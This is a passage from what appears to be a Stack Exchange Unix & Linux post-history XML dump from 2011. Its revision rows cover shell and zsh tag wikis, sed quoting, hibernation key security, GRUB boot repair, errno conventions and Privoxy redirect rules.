`@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="23292" PostHistoryTypeId="5" PostId="1939" RevisionGUID="b813d763-1cfa-428b-a097-7ac3a43feeee" CreationDate="2011-03-20T22:28:01.737" UserId="885" Comment="shortened excerpt; expanded description; link to a few questions; related tags" Text="[Zsh (the Z shell)](http://en.wikipedia.org/wiki/Zsh) is a unix shell.&#xD;&#xA;&#xD;&#xA;On the scripting front, zsh and incorporates many of [ksh](http://unix.stackexchange.com/tags/ksh/info)'s programming features. Zsh's syntax resembles but is not fully compatible with Bourne-style shells, though zsh has Bourne and ksh emulation modes with compatible syntax and behavior. Zsh's advanced features include many extensions to variable expansion and globbing, associative arrays and more.&#xD;&#xA;&#xD;&#xA;For interactive use, zsh's features include advanced line edition, advanced programmable completion, spelling correction, themable prompts and more. Zsh is highly customizable, with many options and tuning possibilities.&#xD;&#xA;&#xD;&#xA;The zsh distribution includes add-ons in the form of loadable modules and functions: [`zmv`](http://zsh.sourceforge.net/Doc/Release/User-Contributions.html#IDX2218) for batch file renaming, the FTP client [`zftp`](http://zsh.sourceforge.net/Doc/Release/Zftp-Function-System.html), regular expressions, terminal handling, and many more.&#xD;&#xA;&#xD;&#xA;### Links and documentation&#xD;&#xA;&#xD;&#xA;* [Zsh web page](http://zsh.sourceforge.net/)&#xD;&#xA;* [`zsh-lovers` — tips, tricks and examples for the Z shell](http://grml.org/zsh/zsh-lovers.html)&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:shell] Many shell-agnostic questions are of interest to zsh users.&#xD;&#xA;* [tag:wildcards] (or globbing): matching files based on their name&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* http://unix.stackexchange.com/questions/2179/rebuild-auto-complete-index-or-whatever-its-called&#xD;&#xA;* http://unix.stackexchange.com/questions/6620/how-to-edit-command-line-in-full-screen-editor-in-zsh&#xD;&#xA;* http://unix.stackexchange.com/questions/995/zsh-trouble-batch-renaming-files-with-zmv&#xD;&#xA;" />
  <row Id="23293" PostHistoryTypeId="5" PostId="1940" RevisionGUID="701a429f-0158-44d6-bece-6e4e8c91476c" CreationDate="2011-03-20T22:28:01.800" UserId="885" Comment="shortened excerpt; expanded description; link to a few questions; related tags" Text="Zsh is a shell with many advanced command-line and scripting features." />
  <row Id="23294" PostHistoryTypeId="5" PostId="9752" RevisionGUID="e41dc635-f71c-44c0-bd72-cb58436c2422" CreationDate="2011-03-20T22:44:03.963" UserId="2844" Comment="Remove redundancy on the first tip." Text="Two tips:&#xD;&#xA;&#xD;&#xA; 1. You can't escape a single quote within a single quote. So you have to close the quote, add an escaped quote, then open the quotes again. That is: 'fooo'\''bar'.&#xD;&#xA; 2. (optional) You don't necessarily have to use / in sed. I find that using / and \ in the same sed expression makes it difficult to read.&#xD;&#xA;&#xD;&#xA;For example, to remove the quotes from these files:&#xD;&#xA;&#xD;&#xA;&gt; $ cat /tmp/f&#xD;&#xA;&gt; aaa&quot;bbb&quot;'ccc'aaa&#xD;&#xA;&#xD;&#xA;Given my two tips above, the command you can use to remove both double and single quotes is:&#xD;&#xA;&#xD;&#xA;&gt; sed -e 's|[&quot;'\'']||g' /tmp/f&#xD;&#xA;&#xD;&#xA;If you ignore the funky features I used, this translates to: s/['&quot;]//g. It means `remove all characters matching either ' or &quot;`. You probably need something more complex than this to do what you want, but it's a start. I hope it helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23295" PostHistoryTypeId="2" PostId="9757" RevisionGUID="6e8dec5a-f96f-4bf2-a142-22dcff5dead8" CreationDate="2011-03-20T22:46:24.917" UserId="210" Text="How do Linux and OSX handle sensitive memory pages (e.g. cryptographic keys) when running OS is suspended to disk? If the memory image written is encrypted, how are its keys handled?" />
  <row Id="23296" PostHistoryTypeId="1" PostId="9757" RevisionGUID="6e8dec5a-f96f-4bf2-a142-22dcff5dead8" CreationDate="2011-03-20T22:46:24.917" UserId="210" Text="Hibernate and security considerations" />
  <row Id="23297" PostHistoryTypeId="3" PostId="9757" RevisionGUID="6e8dec5a-f96f-4bf2-a142-22dcff5dead8" CreationDate="2011-03-20T22:46:24.917" UserId="210" Text="élinuxàésecurityàéosxàéhibernateà" />
  <row Id="23298" PostHistoryTypeId="5" PostId="9194" RevisionGUID="9c001033-cfc0-4135-aa12-270636d71efa" CreationDate="2011-03-20T22:52:37.203" UserId="1375" Comment="Added more screenshots." Text="I am have a fully updated Arch Linux system that was running fine. Last night I tried to setup autofs per instructions on the Arch wiki, but upon restart there was no boot menu and only a GRUB error message saying &quot;Error 15&quot;.&#xD;&#xA;&#xD;&#xA;(1) Using Ext2explore in Windows, I can see the following partition structure:&#xD;&#xA;![partitions from Windows][1]&#xD;&#xA;&#xD;&#xA;(2) Using fdisk in an ArchLinux live cd, I can see this:&#xD;&#xA;![partitions from Arch live cd][2]&#xD;&#xA;&#xD;&#xA;(3) I tried to do &quot;fdisk /dev/sda/&quot; then the commands x, f, w to correct error, but fdisk says my partitions' &quot;ordering is correct already&quot;&#xD;&#xA;&#xD;&#xA;(4) Using the root and setup commands in the GRUB shell also ended in failure (it tells me it can't find GRUB files, /boot/grub/, etc. etc.). Specifically, I tried &quot;root (hd0,1)&quot;, then &quot;setup (hd0)&quot;, (also hd0,0, hd0,2, etc.), all failed.&#xD;&#xA;&#xD;&#xA;Is there any hope of restoring my system? Thanks for your help.&#xD;&#xA;&#xD;&#xA;P.S. here is my menu.lst, which can be seen in Ext2explore:&#xD;&#xA;&#xD;&#xA;    # Config file for GRUB - The GNU GRand Unified Bootloader&#xD;&#xA;    # /boot/grub/menu.lst&#xD;&#xA;    &#xD;&#xA;    # DEVICE NAME CONVERSIONS &#xD;&#xA;    #&#xD;&#xA;    #  Linux           Grub&#xD;&#xA;    # -------------------------&#xD;&#xA;    #  /dev/fd0        (fd0)&#xD;&#xA;    #  /dev/sda        (hd0)&#xD;&#xA;    #  /dev/sdb2       (hd1,1)&#xD;&#xA;    #  /dev/sda3       (hd0,2)&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    #  FRAMEBUFFER RESOLUTION SETTINGS&#xD;&#xA;    #     +-------------------------------------------------+&#xD;&#xA;    #          | 640x480    800x600    1024x768   1280x1024&#xD;&#xA;    #      ----+--------------------------------------------&#xD;&#xA;    #      256 | 0x301=769  0x303=771  0x305=773   0x307=775&#xD;&#xA;    #      32K | 0x310=784  0x313=787  0x316=790   0x319=793&#xD;&#xA;    #      64K | 0x311=785  0x314=788  0x317=791   0x31A=794&#xD;&#xA;    #      16M | 0x312=786  0x315=789  0x318=792   0x31B=795&#xD;&#xA;    #     +-------------------------------------------------+&#xD;&#xA;    #  for more details and different resolutions see&#xD;&#xA;    #  http://wiki.archlinux.org/index.php/GRUB#Framebuffer_Resolution &#xD;&#xA;    &#xD;&#xA;    # general configuration:&#xD;&#xA;    timeout   5&#xD;&#xA;    default   0&#xD;&#xA;    color green black&#xD;&#xA;    &#xD;&#xA;    # boot sections follow&#xD;&#xA;    # each is implicitly numbered from 0 in the order of appearance below&#xD;&#xA;    #&#xD;&#xA;    # TIP: If you want a 1024x768 framebuffer, add &quot;vga=773&quot; to your kernel line.&#xD;&#xA;    #&#xD;&#xA;    #-*&#xD;&#xA;    &#xD;&#xA;    # (0) Arch Linux&#xD;&#xA;    title  Arch Linux&#xD;&#xA;    root   (hd0,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/f4c13c68-54e4-4631-8a5a-d1649d5c3b02 ro vga=771&#xD;&#xA;    initrd /kernel26.img&#xD;&#xA;    &#xD;&#xA;    # (1) Arch Linux&#xD;&#xA;    title  Arch Linux Fallback&#xD;&#xA;    root   (hd0,0)&#xD;&#xA;    kernel /vmlinuz26 root=/dev/disk/by-uuid/f4c13c68-54e4-4631-8a5a-d1649d5c3b02 ro&#xD;&#xA;    initrd /kernel26-fallback.img&#xD;&#xA;    &#xD;&#xA;    # (2) Windows&#xD;&#xA;    #title Windows&#xD;&#xA;    #rootnoverify (hd0,0)&#xD;&#xA;    #makeactive&#xD;&#xA;    #chainloader +1&#xD;&#xA;&#xD;&#xA;I tried the solution provided in the first answer, but failed with the following output:&#xD;&#xA;![Can't install Grub after chroot][3]&#xD;&#xA;Also notice that menu.lst is not there, even though it appeared when I examined the partition in Ext2explore.&#xD;&#xA;&#xD;&#xA;Also, here are the contents of /etc/fstab:&#xD;&#xA;![fstab][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/wbnz1.png&#xD;&#xA;  [2]: http://i.imgur.com/ICI00.png&#xD;&#xA;  [3]: http://i.imgur.com/SCBAd.png&#xD;&#xA;  [4]: http://i.imgur.com/6nLEn.png" />
  <row Id="23299" PostHistoryTypeId="2" PostId="9758" RevisionGUID="3faf03a5-43b6-4e2d-b116-4ad5622f2c3e" CreationDate="2011-03-20T23:02:37.937" UserId="885" Text="There are two aspects: the ways system calls signal that an error occurred, and the way what error occurred is reported.&#xD;&#xA;&#xD;&#xA;Most system calls signal that an error occurred by returning -1, but this is not completely universal (for example, some system calls are always successful, e.g. `getpid`).&#xD;&#xA;&#xD;&#xA;If you know an error occurred, the error code is always in `errno`¹. There are [standard values defined in `errno.h`](http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/errno.h.html), and every unix variants adds a few of its own. Error codes are known by constants whose name begins with `E`; the numeric values vary from OS to OS. These error codes are standard (e.g. `EACCESS` always means “permission denied”, `EIO` always means “input/output error”, …), but what precisely each error message means depends on the system call.&#xD;&#xA;&#xD;&#xA;The standard functions [`strerror`](http://pubs.opengroup.org/onlinepubs/9699919799/functions/strerror.html) and [`perror`](http://pubs.opengroup.org/onlinepubs/9699919799/functions/perror.html) provide error messages that you can display to a user.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Note that if no error occurred during the last system call or C library function call, `errno` may contain garbage.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23300" PostHistoryTypeId="2" PostId="9759" RevisionGUID="c5794f39-8b68-4c29-a637-375ef05a1b92" CreationDate="2011-03-20T23:03:30.520" UserId="138" Text="The only overlaps I'm aware of are synonyms in areas that historically have differed between AT&amp;T and BSD-derived Unixes. For example, AT&amp;T Unix's `EAGAIN` means the same thing as BSD's `EWOULDBLOCK`, so they have the same value on systems that define both." />
  <row Id="23301" PostHistoryTypeId="2" PostId="9760" RevisionGUID="8f44acd3-73be-475e-b8dd-d9052242927c" CreationDate="2011-03-20T23:12:50.157" UserId="4477" Text="When you hibernate a computer all the memory (including all cryptographic keys) is written to the swap. I can't speak for all the Linux distributions and I am not familiar with OSX but Ubuntu uses cryptsetup and LVM by default (on the alternate install CD). The swap is a logical volume backed by the same encrypted physical volume that holds all the data. When you boot, the initramfs ask for the password, opens the encrypted volume and restores the content from swap. So in this case your keys are safe.&#xD;&#xA;&#xD;&#xA;I recommend that you try it with your system **before** you put any sensitive data on it. Check if the swap is encrypted and you can really resume from it. If it's not encrypted or you can't resume don't use it. Power down the computer instead. Suspend to ram prevents the keys from hitting the disk but there are ways one can get past the screensaver password." />
  <row Id="23302" PostHistoryTypeId="5" PostId="9729" RevisionGUID="3f15e42d-8c7e-43b0-ae2c-fb02668e7bd5" CreationDate="2011-03-20T23:12:57.927" UserId="2511" Comment="added 94 characters in body" Text="Fedora Core 3 reached end of life on January 16th, 2006. That means there have been no security updates for over five years. Half a decade!&#xD;&#xA;&#xD;&#xA;***This*** is the problem you need to solve:&#xD;&#xA;&#xD;&#xA;&gt; Since I am not permitted to upgrade the OS, which would result in loss &#xD;&#xA;of important data,&#xD;&#xA;&#xD;&#xA;What if the system were to die? Or, more importantly, what if known vulnerabilities in Firefox 2.0 and the old Linux kernel you are running enable an attacker to compromise your machine and destroy your data?&#xD;&#xA;&#xD;&#xA;The answer to your question is: if you really need that FC3 box unchanged, you need to _sandbox that system as completely as possible_. It should not be talking to the public internet, and I'd be pretty suspicious about putting it near my internet network either. This isn't a theoretical concern — it's a real risk. And putting flash on there is only going to increase that risk.&#xD;&#xA;&#xD;&#xA;So the answer really has got to be: _don't use that system_. If you need Flash — or web browsing in general! — use a different system. And that different system can (and should!) run a current, modern OS, and so running Flash will be no problem.&#xD;&#xA;&#xD;&#xA;And find a way to make your data safe. Because this problem is only going to get harder, not easier." />
  <row Id="23303" PostHistoryTypeId="25" PostId="9756" RevisionGUID="573f0b2c-3abb-444a-bd0d-8813a3ec93d8" CreationDate="2011-03-20T23:31:26.987" Comment="http://twitter.com/#!/StackUnix/status/49614053701730305" />
  <row Id="23304" PostHistoryTypeId="17" PostId="9762" RevisionGUID="8fb9c8db-fde1-4867-a558-7ddb6c5ba4ca" CreationDate="2011-03-20T23:42:16.937" UserId="-1" Comment="from http://stackoverflow.com/questions/5371908/permission-denied-for-running-an-executable-file-on-a-linux-machine/5371923#5371923" Text="" />
  <row Id="23305" PostHistoryTypeId="2" PostId="9762" RevisionGUID="e0c4e8e2-7e2a-47d7-a82c-44a27efe64c7" CreationDate="2011-03-20T22:16:52.450" UserId="5325" Text="At a guess, you copied it over with a utility that doesn't preserve file modes.  Try `chmod +x`." />
  <row Id="23306" PostHistoryTypeId="2" PostId="9761" RevisionGUID="dea04d9d-7510-4d93-bd57-3cc4ddd41962" CreationDate="2011-03-20T22:15:16.700" UserDisplayName="user630983" Text="I once generated an executable file using g++ on a linux box. But when I try to run this executable file on another linux machine, the system said &quot;Permission denied&quot;. However, after I re-compile the source code on this second machine and run the executable file, the program just runs fine. &#xD;&#xA;&#xD;&#xA;Can you let me know what may be the problem? Thanks." />
  <row Id="23307" PostHistoryTypeId="1" PostId="9761" RevisionGUID="dea04d9d-7510-4d93-bd57-3cc4ddd41962" CreationDate="2011-03-20T22:15:16.700" UserDisplayName="user630983" Text="&quot;Permission denied&quot; for running an executable file on a linux machine." />
  <row Id="23308" PostHistoryTypeId="3" PostId="9761" RevisionGUID="dea04d9d-7510-4d93-bd57-3cc4ddd41962" CreationDate="2011-03-20T22:15:16.700" UserDisplayName="user630983" Text="écççàéshellà" />
  <row Id="23309" PostHistoryTypeId="17" PostId="9761" RevisionGUID="bfa32b89-768d-4ac4-9f94-17f2a46ce529" CreationDate="2011-03-20T23:42:16.937" UserId="-1" Comment="from http://stackoverflow.com/questions/5371908/permission-denied-for-running-an-executable-file-on-a-linux-machine" Text="" />
  <row Id="23310" PostHistoryTypeId="2" PostId="9763" RevisionGUID="1d577ce9-e3d0-4ff4-9f81-80928c7927ea" CreationDate="2011-03-20T23:44:43.617" UserId="5685" Text="2.6.32-29: 2.6.32: base kernel, -29 final release by ubuntu&#xD;&#xA;&#xD;&#xA;2.6.32-29.58: 2.6.32: base kernel, -29.58 ongoing release (-29) by ubuntu&#xD;&#xA;&#xD;&#xA;2.6.11.10: 2.6.11: base kernel, .10 tenth patch release of it. (2.6.11 was chosen by volunteers (read Greg KH) to be a &quot;long term maintenance&quot; release)." />
  <row Id="23311" PostHistoryTypeId="2" PostId="9764" RevisionGUID="7f2b8037-225f-475c-a9f3-f4b26134342b" CreationDate="2011-03-20T23:56:48.027" UserId="1323" Text="Privoxy's redirect action uses limited regular expressions to match and rewrite urls. Luckily, backreferences are supported. You can rewrite your redirect match in such a way to support all two-letter language codes:&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://(..).wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/$1/wiki/@} }&#xD;&#xA;    .wikipedia.org&#xD;&#xA;&#xD;&#xA;For your second question, you will have to write additional redirect actions for each url you want to redirect to HTTPS. This will be cumbersome, as you will have to tune your regexps for each site's url patterns, and the site must of course offer the content over SSL also. I'm not familiar with Wikipedia's URL patterns to write an example based on your second question - simply replacing http with https won't work in this particular case.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23312" PostHistoryTypeId="2" PostId="9765" RevisionGUID="de45f0d0-e87f-4831-9b7b-37ce3ffb2e34" CreationDate="2011-03-21T00:02:40.657" UserId="3459" Text="The only non subjective disadvantage I know if is that when the root user does not have a password set it allows access to single user mode without a password.&#xD;&#xA;&#xD;&#xA;A truly secure machine will be in a locked case, have booting from removable media disabled, a BIOS password set to prevent changes, a bootloader password set to prevent the kernel boot cmdline from being changed (so no adding `init=/bin/sh`), and a password would be required to access single user mode." />
  <row Id="23313" PostHistoryTypeId="5" PostId="9764" RevisionGUID="45e9848a-6c37-4b77-994b-46107d49bf15" CreationDate="2011-03-21T00:05:03.150" UserId="1323" Comment="added 573 characters in body; edited body; deleted 168 characters in body" Text="Privoxy's redirect action uses limited regular expressions to match and rewrite urls. Luckily, backreferences are supported. You can rewrite your redirect match in such a way to support all two-letter language codes:&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://(..).wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/$1/wiki/@} }&#xD;&#xA;    .wikipedia.org&#xD;&#xA;&#xD;&#xA;I've replaced your original two letter language code with &quot;(..)&quot;. The parentheses create a backreference which can later be referred to as &quot;$1&quot;. The two dots match any two characters. Note that the use of &quot;$1&quot; is not standard for regexps - typically you'd use &quot;\1&quot;. You can use multiple backreferences in a single regex. Increment the number used to refer to the match (ie. $2, $3, etc). &#xD;&#xA;&#xD;&#xA;[The Privoxy user manual appendix][1] describes support of regular expressions and there are more useful examples there.&#xD;&#xA;&#xD;&#xA;For your second question, you will have to write additional redirect actions for each url you want to redirect to HTTPS. This will be cumbersome, as you will have to tune your regexps for each site's url patterns, and the site must of course offer the content over SSL also.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.privoxy.org/user-manual/appendix.html" />
  <row Id="23314" PostHistoryTypeId="6" PostId="3886" RevisionGUID="cd6aeb5e-6470-4258-a587-79d59f4ec24c" CreationDate="2011-03-21T00:10:17.363" UserId="885" Comment="edited tags" Text="ébashàézshàéjoböcontrolàénohupàékshà" />
  <row Id="23315" PostHistoryTypeId="6" PostId="4034" RevisionGUID="fdc037f3-c15d-4919-a8fb-7b8cd756b8d2" CreationDate="2011-03-21T00:10:41.247" UserId="885" Comment="edited tags" Text="ésshàéprocessàéscreenàéjoböcontrolà" />
  <row Id="23320" PostHistoryTypeId="6" PostId="6035" RevisionGUID="6accde2b-be4b-4abe-a77e-75a5832c4d57" CreationDate="2011-03-21T00:11:17.470" UserId="885" Comment="edited tags" Text="ébashàéshellàézshàékshà" />
  <row Id="23321" PostHistoryTypeId="6" PostId="5515" RevisionGUID="9776506e-7732-4e24-8e42-22923f319cb0" CreationDate="2011-03-21T00:12:13.307" UserId="885" Comment="edited tags" Text="élinuxàéshellàéfilesàéhookà" />
  <row Id="23322" PostHistoryTypeId="6" PostId="3507" RevisionGUID="542fc9c1-f7d5-47b2-b2a4-4988ccb0132f" CreationDate="2011-03-21T00:13:32.210" UserId="885" Comment="edited tags" Text="éshellàéenvironmentövariablesà" />
  <row Id="23323" PostHistoryTypeId="6" PostId="1323" RevisionGUID="c2ad626a-7756-4b05-a30a-6700c907c23f" CreationDate="2011-03-21T00:14:10.400" UserId="885" Comment="edited tags" Text="épermissionsàéfilesàéchmodà" />
  <row Id="23324" PostHistoryTypeId="6" PostId="9218" RevisionGUID="c674f162-da9c-4c99-9b56-8e419cdf027e" CreationDate="2011-03-21T00:14:31.133" UserId="885" Comment="edited tags" Text="élinuxàésudoàépasswordàéauthenticationà" />
  <row Id="23325" PostHistoryTypeId="6" PostId="1825" RevisionGUID="fa9d7ac1-4f2e-4ff1-bc9b-8394bf5b52f1" CreationDate="2011-03-21T00:16:08.230" UserId="885" Comment="edited tags" Text="éshellàésolarisàéawkàéutilitiesàédateà" />
  <row Id="23326" PostHistoryTypeId="6" PostId="4495" RevisionGUID="3d357862-84c3-44ae-a966-b45abd4cb33a" CreationDate="2011-03-21T00:16:52.533" UserId="885" Comment="edited tags" Text="ébashàéshellàéscriptingàéarchitectureà" />
  <row Id="23327" PostHistoryTypeId="6" PostId="433" RevisionGUID="f4bdc673-344e-4ee8-b6de-fbe7a6809ea7" CreationDate="2011-03-21T00:17:13.750" UserId="885" Comment="edited tags" Text="étextöprocessingàélogsàéipà" />
  <row Id="23328" PostHistoryTypeId="6" PostId="9496" RevisionGUID="155002ae-b25a-43fe-8d99-90fdc6d41967" CreationDate="2011-03-21T00:17:43.970" UserId="885" Comment="edited tags" Text="ébashàéscriptingàétextöprocessingàéfindàéfilenamesà" />
  <row Id="23329" PostHistoryTypeId="6" PostId="5677" RevisionGUID="f4b520eb-e3e1-4ac2-8107-ddb9d9f2c683" CreationDate="2011-03-21T00:18:10.177" UserId="885" Comment="edited tags" Text="éshellàétextöprocessingàéutilitiesà" />
  <row Id="23330" PostHistoryTypeId="6" PostId="4840" RevisionGUID="4fb3f90d-031c-4c62-8c15-acb6acafd489" CreationDate="2011-03-21T00:18:25.730" UserId="885" Comment="edited tags" Text="ébashàéshellàégrepà" />
  <row Id="23331" PostHistoryTypeId="6" PostId="4770" RevisionGUID="11d8e4e1-13ef-4f8a-8802-f5d2b2a03ec1" CreationDate="2011-03-21T00:19:01.673" UserId="885" Comment="edited tags" Text="ébashàéshellàésshàéquotingà" />
  <row Id="23332" PostHistoryTypeId="6" PostId="4023" RevisionGUID="d3e343f3-0f11-4b6f-89b1-be3dbc05881f" CreationDate="2011-03-21T00:19:25.480" UserId="885" Comment="edited tags" Text="ébashàéshellàéaliasàéfunctionà" />
  <row Id="23333" PostHistoryTypeId="6" PostId="3544" RevisionGUID="fff5b8f7-e07b-4e28-923d-a7e26cedf0c9" CreationDate="2011-03-21T00:20:05.153" UserId="885" Comment="edited tags" Text="étextöprocessingàéshellöscriptàéphpà" />
  <row Id="23334" PostHistoryTypeId="6" PostId="2432" RevisionGUID="65293cb5-3af8-4707-af61-553a4fbc49b3" CreationDate="2011-03-21T00:20:18.973" UserId="885" Comment="edited tags" Text="ébashàéterminalàéloginàémailà" />
  <row Id="23335" PostHistoryTypeId="6" PostId="4936" RevisionGUID="7a6d7fff-cd46-48a5-9cde-92a40e855bee" CreationDate="2011-03-21T00:22:11.170" UserId="885" Comment="edited tags" Text="écommandölineàérenameà" />
  <row Id="23336" PostHistoryTypeId="6" PostId="9534" RevisionGUID="b8fede15-cc33-442c-b635-8afcf2e752ab" CreationDate="2011-03-21T00:22:58.643" UserId="885" Comment="edited tags" Text="élinuxàéterminalàéprocessàéjoböcontrolà" />
  <row Id="23337" PostHistoryTypeId="6" PostId="7688" RevisionGUID="6954b7d9-8cd9-4c2f-a221-fb9c7920b480" CreationDate="2011-03-21T00:23:16.163" UserId="885" Comment="edited tags" Text="éshellöscriptàéutilitiesàédateà" />
  <row Id="23338" PostHistoryTypeId="6" PostId="6558" RevisionGUID="eedc69c4-5785-4822-8e58-57e420fc8bd1" CreationDate="2011-03-21T00:23:32.450" UserId="885" Comment="edited tags" Text="éshellàérmàéwildcardsà" />
  <row Id="23339" PostHistoryTypeId="6" PostId="3510" RevisionGUID="d2d57bad-f1cc-41ff-9963-764f2c3e8a7e" CreationDate="2011-03-21T00:23:47.893" UserId="885" Comment="edited tags" Text="ébashàéenvironmentövariablesà" />
  <row Id="23340" PostHistoryTypeId="5" PostId="5283" RevisionGUID="12213864-8412-40d9-809c-bb24ae131e8f" CreationDate="2011-03-21T00:32:03.750" UserId="885" Comment="more related tags" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] [tag:tcsh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* command line edition, often with configurable key bindings.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;* [tag:alias] defining short names for often-used commands&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as `@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) 